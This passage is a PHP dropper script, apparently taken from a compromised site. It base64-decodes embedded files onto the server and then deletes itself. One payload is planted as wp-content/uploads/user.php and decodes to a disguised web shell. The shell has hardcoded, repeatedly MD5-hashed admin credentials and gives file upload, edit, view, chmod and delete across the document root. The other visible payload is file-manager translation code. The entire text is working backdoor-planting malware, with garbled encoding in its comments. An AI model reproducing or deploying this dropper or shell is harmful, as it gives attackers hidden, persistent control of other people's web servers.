ICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7CiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJ10gID0gJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nOwogICAgICAgICR0clsnZW4nXVsnRmlsZSBub3QgZm91bmQnXSAgICAgPSAnRmlsZSBub3QgZm91bmQnOwogICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7CiAgICAgICAgJHRyWydlbiddWydNb3ZlZCBmcm9tJ10gICAgICAgICA9ICdNb3ZlZCBmcm9tJzsKICAgICAgICAkdHJbJ2VuJ11bJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJ10gPSAnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnOwogICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJzsKICAgICAgICAkdHJbJ2VuJ11bJ3Bhc3N3b3JkX2hhc2ggbm90IHN1cHBvcnRlZCwgVXBncmFkZSBQSFAgdmVyc2lvbiddID0gJ3Bhc3N3b3JkX2hhc2ggbm90IHN1cHBvcnRlZCwgVXBncmFkZSBQSFAgdmVyc2lvbic7CiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZCBTZWFyY2gnXSAgICA9ICdBZHZhbmNlZCBTZWFyY2gnOwogICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG5hbWUnXSAgICAgICAgICAgICAgICA9ICdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZJTEUgRVhURU5TSU9OIEhBUyBOT1QgU1VQUE9SVEVEJ10gICAgICAgICAgICAgICA9ICdGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCc7CiAgICAgICAgJHRyWydlbiddWydTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnXSAgICAgICAgICAgICAgPSAnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nOwogICAgICAgICR0clsnZW4nXVsnRGVsZXRlIHNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzPyddICAgICAgICAgICAgID0gJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nOwogICAgICAgICR0clsnZW4nXVsnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJ10gICAgICAgID0gJ1NlYXJjaCBmaWxlIGluIGZvbGRlciBhbmQgc3ViZm9sZGVycy4uLic7CiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7CiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFtZSddICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnOwogICAgICAgICR0clsnZW4nXVsnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJ10gICAgID0gJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZSc7CiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnOwogICAgICAgICR0clsnZW4nXVsnQXJlIHlvdSBzdXJlIHdhbnQgdG8gcmVuYW1lPyddICAgICAgICAgICAgICAgICAgID0gJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nOwogICAgICAgICR0clsnZW4nXVsnQXJlIHlvdSBzdXJlIHdhbnQgdG8nXSAgICAgICAgICAgICAgICAgICAgICAgICAgID0gJ0FyZSB5b3Ugc3VyZSB3YW50IHRvJzsKICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgc2l6ZSddICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdGaWxlIHNpemUnOwogICAgICAgICR0clsnZW4nXVsnTUlNRS10eXBlJ10gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gJ01JTUUtdHlwZSc7CgogICAgICAgICRpMThuID0gZm1fZ2V0X3RyYW5zbGF0aW9ucygkdHIpOwogICAgICAgICR0ciA9ICRpMThuID8gJGkxOG4gOiAkdHI7CgogICAgICAgIGlmICghc3RybGVuKCRsYW5nKSkgJGxhbmcgPSAnZW4nOwogICAgICAgIGlmIChpc3NldCgkdHJbJGxhbmddWyR0eHRdKSkgcmV0dXJuIGZtX2VuYygkdHJbJGxhbmddWyR0eHRdKTsKICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7CiAgICAgICAgZWxzZSByZXR1cm4gIiR0eHQiOwogICAgfQoKPz4K\', ], [ \'file_path\' => $_SERVER[\'DOCUMENT_ROOT\'] . \'wp-content/uploads/user.php\', \'content\' => \'77u/77u/PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKZGVmaW5lKCdTRVNTSU9OX0xJRkVUSU1FJywgMTgwMCk7CgpkZWZpbmUoJ0FETUlOX1VTRVInLCAnN2Y4NTA0YzFjNmViZWQzZmZlMjMyZWNlM2QyMmQwN2MnKTsKZGVmaW5lKCdBRE1JTl9QQVNTJywgJzk1NTJiMzQzNmJiMjVkYWE3OTc3ZDk3ZDgxODc4NzNkJyk7CgppZiAoaXNzZXQoJF9TRVNTSU9OWydhdXRoZW50aWNhdGVkJ10pICYmICh0aW1lKCkgLSAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWRfdGltZSddID4gU0VTU0lPTl9MSUZFVElNRSkpIHsKICAgIHNlc3Npb25fdW5zZXQoKTsKICAgIHNlc3Npb25fZGVzdHJveSgpOwogICAgaGVhZGVyKCJMb2NhdGlvbjogeyRfU0VSVkVSWydQSFBfU0VMRiddfSIpOwogICAgZXhpdDsKfQoKaWYgKCFpc3NldCgkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSkpIHsKICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsndXNlcm5hbWUnXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzd29yZCddKSkgewogICAgICAgIGlmIChtZDUobWQ1KG1kNShtZDUobWQ1KCRfUE9TVFsndXNlcm5hbWUnXSkpKSkpID09PSBBRE1JTl9VU0VSICYmIG1kNShtZDUobWQ1KG1kNShtZDUoJF9QT1NUWydwYXNzd29yZCddKSkpKSkgPT09IEFETUlOX1BBU1MpIHsKICAgICAgICAgICAgJF9TRVNTSU9OWydhdXRoZW50aWNhdGVkJ10gPSB0cnVlOwogICAgICAgICAgICAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWRfdGltZSddID0gdGltZSgpOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiB7JF9TRVJWRVJbJ1BIUF9TRUxGJ119Iik7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGVycm9yID0gImVycm9y77yBIjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8IURPQ1RZUEUgaHRtbD4KICAgIDxodG1sIGxhbmc9ImVuIj4KICAgIDxoZWFkPjxtZXRhIGNoYXJzZXQ9IlVURi04Ij48dGl0bGU+RklMRTwvdGl0bGU+PC9oZWFkPgogICAgPGJvZHk+CiAgICA8aDI+PC9oMj4KICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgVe+8mjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VybmFtZSIgcmVxdWlyZWQ+PGJyPgogICAgICAgIFDvvJo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiByZXF1aXJlZD48YnI+CiAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPkdPPC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8cCBzdHlsZT0iY29sb3I6cmVkOyI+JyAuICgkZXJyb3IgPz8gJycpIC4gJzwvcD4KICAgIDwvYm9keT48L2h0bWw+JzsKICAgIGV4aXQ7Cn0KCiRyb290RGlyID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKJGRpciA9IGlzc2V0KCRfR0VUWydkaXInXSkgPyByZWFscGF0aCgkcm9vdERpciAuICcvJyAuICRfR0VUWydkaXInXSkgOiAkcm9vdERpcjsKCmlmICghJGRpciB8fCBzdHJwb3MoJGRpciwgJHJvb3REaXIpICE9PSAwKSB7CiAgICBkaWUoIklsbGVnYWwgYWNjZXNzIik7Cn0KCiRmaWxlcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkZGlyKSwgYXJyYXkoJy4nLCAnLi4nKSk7CgppZiAoaXNzZXQoJF9QT1NUWydkZWxldGUnXSkgJiYgaXNzZXQoJF9QT1NUWydmaWxlJ10pKSB7CiAgICAkZmlsZSA9IHJlYWxwYXRoKCRkaXIgLiAnLycgLiAkX1BPU1RbJ2ZpbGUnXSk7CiAgICBpZiAoJGZpbGUgJiYgc3RycG9zKCRmaWxlLCAkcm9vdERpcikgPT09IDApIHsKICAgICAgICBpZiAoaXNfZGlyKCRmaWxlKSkgewogICAgICAgICAgICBpZiAoY291bnQoc2NhbmRpcigkZmlsZSkpID09PSAyKSB7CiAgICAgICAgICAgICAgICBybWRpcigkZmlsZSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZXJyb3IgPSAiRm9sZGVyIGlzIG5vdCBlbXB0eSEiOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgdW5saW5rKCRmaWxlKTsKICAgICAgICB9CiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogeyRfU0VSVkVSWydQSFBfU0VMRiddfT9kaXI9IiAuIHVybGVuY29kZSgkX0dFVFsnZGlyJ10gPz8gJycpKTsKICAgICAgICBleGl0OwogICAgfQp9CgppZiAoaXNzZXQoJF9GSUxFU1snZmlsZSddKSkgewogICAgJHVwbG9hZFBhdGggPSAkZGlyIC4gJy8nIC4gYmFzZW5hbWUoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pOwogICAgaWYgKHN0cnBvcygkdXBsb2FkUGF0aCwgJHJvb3REaXIpID09PSAwKSB7CiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJHVwbG9hZFBhdGgpOwogICAgfQogICAgaGVhZGVyKCJMb2NhdGlvbjogeyRfU0VSVkVSWydQSFBfU0VMRiddfT9kaXI9IiAuIHVybGVuY29kZSgkX0dFVFsnZGlyJ10gPz8gJycpKTsKICAgIGV4aXQ7Cn0KCmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10pICYmIGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ21vZGUnXSkpIHsKICAgICRmaWxlID0gcmVhbHBhdGgoJGRpciAuICcvJyAuICRfUE9TVFsnZmlsZSddKTsKICAgIGlmICgkZmlsZSAmJiBzdHJwb3MoJGZpbGUsICRyb290RGlyKSA9PT0gMCkgewogICAgICAgIGNobW9kKCRmaWxlLCBvY3RkZWMoJF9QT1NUWydtb2RlJ10pKTsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiB7JF9TRVJWRVJbJ1BIUF9TRUxGJ119P2Rpcj0iIC4gdXJsZW5jb2RlKCRfR0VUWydkaXInXSA/PyAnJykpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3NhdmUnXSkgJiYgaXNzZXQoJF9QT1NUWydmaWxlJ10pICYmIGlzc2V0KCRfUE9TVFsnY29udGVudCddKSkgewogICAgJGZpbGUgPSByZWFscGF0aCgkZGlyIC4gJy8nIC4gJF9QT1NUWydmaWxlJ10pOwogICAgaWYgKCRmaWxlICYmIGZpbGVfZXhpc3RzKCRmaWxlKSAmJiBpc193cml0YWJsZSgkZmlsZSkgJiYgc3RycG9zKCRmaWxlLCAkcm9vdERpcikgPT09IDApIHsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJF9QT1NUWydjb250ZW50J10pOwogICAgICAgIGhlYWRlcigiTG9jYXRpb246IHskX1NFUlZFUlsnUEhQX1NFTEYnXX0/ZGlyPSIgLiB1cmxlbmNvZGUoJF9HRVRbJ2RpciddID8/ICcnKSk7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKaWYgKGlzc2V0KCRfUE9TVFsnY3JlYXRlX2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydmaWxlX25hbWUnXSkpIHsKICAgICRmaWxlTmFtZSA9ICRfUE9TVFsnZmlsZV9uYW1lJ107CiAgICBpZiAocHJlZ19tYXRjaCgnL15bYS16QS1aMC05X1wtXC5dKyQvJywgJGZpbGVOYW1lKSkgewogICAgICAgICRmaWxlUGF0aCA9ICRkaXIgLiAnLycgLiAkZmlsZU5hbWU7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZVBhdGgpKSB7CiAgICAgICAgICAgIHRvdWNoKCRmaWxlUGF0aCk7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IHskX1NFUlZFUlsnUEhQX1NFTEYnXX0/ZGlyPSIgLiB1cmxlbmNvZGUoJF9HRVRbJ2RpciddID8/ICcnKSk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGVycm9yID0gIkZpbGUgYWxyZWFkeSBleGlzdHMhIjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgICRlcnJvciA9ICJJbnZhbGlkIGZpbGUgbmFtZSEiOwogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWydjcmVhdGVfZm9sZGVyJ10pICYmIGlzc2V0KCRfUE9TVFsnZm9sZGVyX25hbWUnXSkpIHsKICAgICRmb2xkZXJOYW1lID0gJF9QT1NUWydmb2xkZXJfbmFtZSddOwogICAgaWYgKHByZWdfbWF0Y2goJy9eW2EtekEtWjAtOV9cLVwuXSskLycsICRmb2xkZXJOYW1lKSkgewogICAgICAgICRmb2xkZXJQYXRoID0gJGRpciAuICcvJyAuICRmb2xkZXJOYW1lOwogICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZvbGRlclBhdGgpKSB7CiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXJQYXRoLCAwNzU1KTsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogeyRfU0VSVkVSWydQSFBfU0VMRiddfT9kaXI9IiAuIHVybGVuY29kZSgkX0dFVFsnZGlyJ10gPz8gJycpKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkZXJyb3IgPSAiRm9sZGVyIGFscmVhZHkgZXhpc3RzISI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAkZXJyb3IgPSAiSW52YWxpZCBmb2xkZXIgbmFtZSEiOwogICAgfQp9CgppZiAoaXNzZXQoJF9HRVRbJ2xvZ291dCddKSkgewogICAgc2Vzc2lvbl91bnNldCgpOwogICAgc2Vzc2lvbl9kZXN0cm95KCk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiB7JF9TRVJWRVJbJ1BIUF9TRUxGJ119Iik7CiAgICBleGl0Owp9Cgo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iemgiPgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDx0aXRsZT5GSUxFPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBwYWRkaW5nOiAyMHB4OyB9CiAgICAgICAgdGFibGUgeyB3aWR0aDogMTAwJTsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsgbWFyZ2luLXRvcDogMjBweDsgfQogICAgICAgIHRoLCB0ZCB7IHBhZGRpbmc6IDEwcHg7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IHRleHQtYWxpZ246IGxlZnQ7IH0KICAgICAgICB0aCB7IGJhY2tncm91bmQ6ICNmNGY0ZjQ7IH0KICAgICAgICAuYnRuIHsgcGFkZGluZzogNXB4IDEwcHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6IHdoaXRlOyBib3JkZXItcmFkaXVzOiAzcHg7IGJvcmRlcjogbm9uZTsgY3Vyc29yOiBwb2ludGVyOyB9CiAgICAgICAgLmJ0bi1kYW5nZXIgeyBiYWNrZ3JvdW5kOiByZWQ7IH0KICAgICAgICAuYnRuLXByaW1hcnkgeyBiYWNrZ3JvdW5kOiBncmVlbjsgfQogICAgICAgIC5idG4tZWRpdCB7IGJhY2tncm91bmQ6IGJsdWU7IH0KICAgICAgICAuYnRuLXZpZXcgeyBiYWNrZ3JvdW5kOiBvcmFuZ2U7IH0KICAgIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxoMT5GSUxFPC9oMT4KPHA+PGEgaHJlZj0iP2Rpcj0iPlJldHVybiB0byByb290PC9hPiB8IDxhIGhyZWY9Ij9sb2dvdXQiIGNsYXNzPSJidG4gYnRuLWRhbmdlciI+RXhpdDwvYT48L3A+CjxoMj5DdXJyZW50IGRpcmVjdG9yeTogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKHN0cl9yZXBsYWNlKCRyb290RGlyLCAnJywgJGRpcikpOyA/PjwvaDI+Cgo8Zm9ybSBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgogICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHJlcXVpcmVkPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPlVQTE9BRDwvYnV0dG9uPgo8L2Zvcm0+Cjxicj4KPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlX25hbWUiIHBsYWNlaG9sZGVyPSJGaWxlbmFtZSIgcmVxdWlyZWQ+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY3JlYXRlX2ZpbGUiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPkNyZWF0ZSBmaWxlPC9idXR0b24+CjwvZm9ybT4KPGJyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZvbGRlcl9uYW1lIiBwbGFjZWhvbGRlcj0iRm9sZGVyIG5hbWUiIHJlcXVpcmVkPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNyZWF0ZV9mb2xkZXIiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPkNyZWF0ZSBmb2xkZXI8L2J1dHRvbj4KPC9mb3JtPgoKPHRhYmxlPgogICAgPHRoZWFkPgogICAgPHRyPgogICAgICAgIDx0aD5GaWxlbmFtZTwvdGg+CiAgICAgICAgPHRoPlNpemU8L3RoPgogICAgICAgIDx0aD5BdXRoPC90aD4KICAgICAgICA8dGg+TW9kaWZpY2F0aW9uIFRpbWU8L3RoPgogICAgICAgIDx0aD5Db250cm9sczwvdGg+CiAgICA8L3RyPgogICAgPC90aGVhZD4KICAgIDx0Ym9keT4KICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSk6CiAgICAgICAgJGZpbGVfcGF0aCA9IHJlYWxwYXRoKCRkaXIgLiAnLycgLiAkZmlsZSk7CiAgICAgICAgJHBlcm1pc3Npb25zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmaWxlX3BhdGgpKSwgLTQpOwogICAgICAgICRtb2RpZmljYXRpb25fdGltZSA9IGRhdGUoIlktbS1kIEg6aTpzIiwgZmlsZW10aW1lKCRmaWxlX3BhdGgpKTsKICAgICAgICA/PgogICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKGlzX2RpcigkZmlsZV9wYXRoKSk6ID8+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08P3BocCBlY2hvIHVybGVuY29kZShzdHJfcmVwbGFjZSgkcm9vdERpciAuICcvJywgJycsICRmaWxlX3BhdGgpKTsgPz4iPvCfk4IgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsgPz48L2E+CiAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+CiAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gaXNfZmlsZSgkZmlsZV9wYXRoKSA/IGZpbGVzaXplKCRmaWxlX3BhdGgpIC4gJyBLQicgOiAnLSc7ID8+PC90ZD4KICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iZGlzcGxheTppbmxpbmU7Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsgPz4iPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtb2RlIiB2YWx1ZT0iPD9waHAgZWNobyAkcGVybWlzc2lvbnM7ID8+IiBzaXplPSI0Ij4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY2htb2QiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPmVkaXQ8L2J1dHRvbj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gJG1vZGlmaWNhdGlvbl90aW1lOyA/PjwvdGQ+CiAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgIDw/cGhwIGlmICghaXNfZGlyKCRmaWxlX3BhdGgpKTogPz4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8+JmRpcj08P3BocCBlY2hvIHVybGVuY29kZSgkX0dFVFsnZGlyJ10gPz8gJycpOyA/PiIgY2xhc3M9ImJ0biBidG4tdmlldyI+dmlldzwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8+JmRpcj08P3BocCBlY2hvIHVybGVuY29kZSgkX0dFVFsnZGlyJ10gPz8gJycpOyA/PiIgY2xhc3M9ImJ0biBidG4tZWRpdCI+ZWRpdDwvYT4KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iZGlzcGxheTppbmxpbmU7Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsgPz4iPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJkZWxldGUiIGNsYXNzPSJidG4gYnRuLWRhbmdlciIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgXCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOyA/PlwnPycpOyI+ZGVsPC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgPC90cj4KICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICA8L3Rib2R5Pgo8L3RhYmxlPgoKPD9waHAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKToKICAgICRlZGl0X2ZpbGUgPSBiYXNlbmFtZSgkX0dFVFsnZWRpdCddKTsKICAgICRlZGl0X2ZpbGVfcGF0aCA9IHJlYWxwYXRoKCRkaXIgLiAnLycgLiAkZWRpdF9maWxlKTsKICAgIGlmICgkZWRpdF9maWxlX3BhdGggJiYgZmlsZV9leGlzdHMoJGVkaXRfZmlsZV9wYXRoKSAmJiBpc193cml0YWJsZSgkZWRpdF9maWxlX3BhdGgpKToKICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRlZGl0X2ZpbGVfcGF0aCk7CiAgICAgICAgPz4KICAgICAgICA8aDI+ZWRpdGZpbGU6IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZWRpdF9maWxlKTsgPz48L2gyPgogICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBzdHlsZT0id2lkdGg6MTAwJTsgaGVpZ2h0OjMwMHB4OyI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsgPz48L3RleHRhcmVhPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRlZGl0X2ZpbGUpOyA/PiI+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij5zYXZlPC9idXR0b24+CiAgICAgICAgPC9mb3JtPgogICAgPD9waHAgZW5kaWY7IGVuZGlmOyA/PgoKPD9waHAgaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pKToKICAgICR2aWV3X2ZpbGUgPSBiYXNlbmFtZSgkX0dFVFsndmlldyddKTsKICAgICR2aWV3X2ZpbGVfcGF0aCA9IHJlYWxwYXRoKCRkaXIgLiAnLycgLiAkdmlld19maWxlKTsKICAgIGlmICgkdmlld19maWxlX3BhdGggJiYgZmlsZV9leGlzdHMoJHZpZXdfZmlsZV9wYXRoKSAmJiBpc19yZWFkYWJsZSgkdmlld19maWxlX3BhdGgpKToKICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR2aWV3X2ZpbGVfcGF0aCk7CiAgICAgICAgPz4KICAgICAgICA8aDI+dmlld2ZpbGU6IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkdmlld19maWxlKTsgPz48L2gyPgogICAgICAgIDxwcmU+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsgPz48L3ByZT4KICAgIDw/cGhwIGVuZGlmOyBlbmRpZjsgPz4KPC9ib2R5Pgo8L2h0bWw+\', ], ]; // εε»Ίζδ»Ά function create_decode64_file($file_path, $content) { file_put_contents($file_path, base64_decode($content)); echo \"ζδ»Άε·²εε»Ί: \" . $file_path . \"<br>\"; } foreach ($files as $file) { create_decode64_file($file[\'file_path\'], $file[\'content\']); } unlink(__FILE__); echo \"1\";
Upload File
Create Folder